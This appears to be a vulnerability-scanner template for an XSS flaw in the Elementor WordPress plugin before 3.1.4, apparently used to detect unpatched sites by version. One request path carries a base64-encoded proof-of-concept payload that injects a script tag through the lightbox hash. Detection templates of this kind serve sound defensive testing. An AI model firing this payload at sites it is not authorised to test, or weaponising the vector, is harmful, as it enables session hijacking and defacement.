73 lines
2.6 KiB
YAML
73 lines
2.6 KiB
YAML
id: CVE-2021-24891
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info:
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name: WordPress Elementor Website Builder <3.1.4 - Cross-Site Scripting
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author: dhiyaneshDk
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severity: medium
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description: |
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WordPress Elementor Website Builder plugin before 3.1.4 contains a DOM cross-site scripting vulnerability. It does not sanitize or escape user input appended to the DOM via a malicious hash.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation: |
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Update WordPress Elementor Website Builder to version 3.1.4 or later to mitigate this vulnerability.
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reference:
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- https://www.jbelamor.com/xss-elementor-lightox.html
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- https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24891
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24891
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cwe-id: CWE-79
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epss-score: 0.00116
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epss-percentile: 0.45236
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cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: elementor
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product: website_builder
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framework: wordpress
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tags: cve2021,cve,wordpress,wp-plugin,elementor,wpscan,dom,xss
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flow: http(1) && http(2)
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http:
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- raw:
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- |
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GET /wp-content/plugins/elementor/readme.txt HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: word
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internal: true
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words:
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- 'Elementor Website Builder'
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- method: GET
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path:
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- "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"
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- "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9"
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200
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- type: regex
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part: body_1
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regex:
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- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
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extractors:
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- type: regex
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name: version
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group: 1
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regex:
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- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
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internal: true
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- type: kval
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kval:
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- version
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# digest: 490a0046304402205b282380b349f854fb682c0a9e29f9260987ccc282a94ff7317206ba7e3d03db022055093df9a46c6e757eac59c584cb657f373924eae480a7af9c82cf24c168f3a8:922c64590222798bb761d5b6d8e72950 |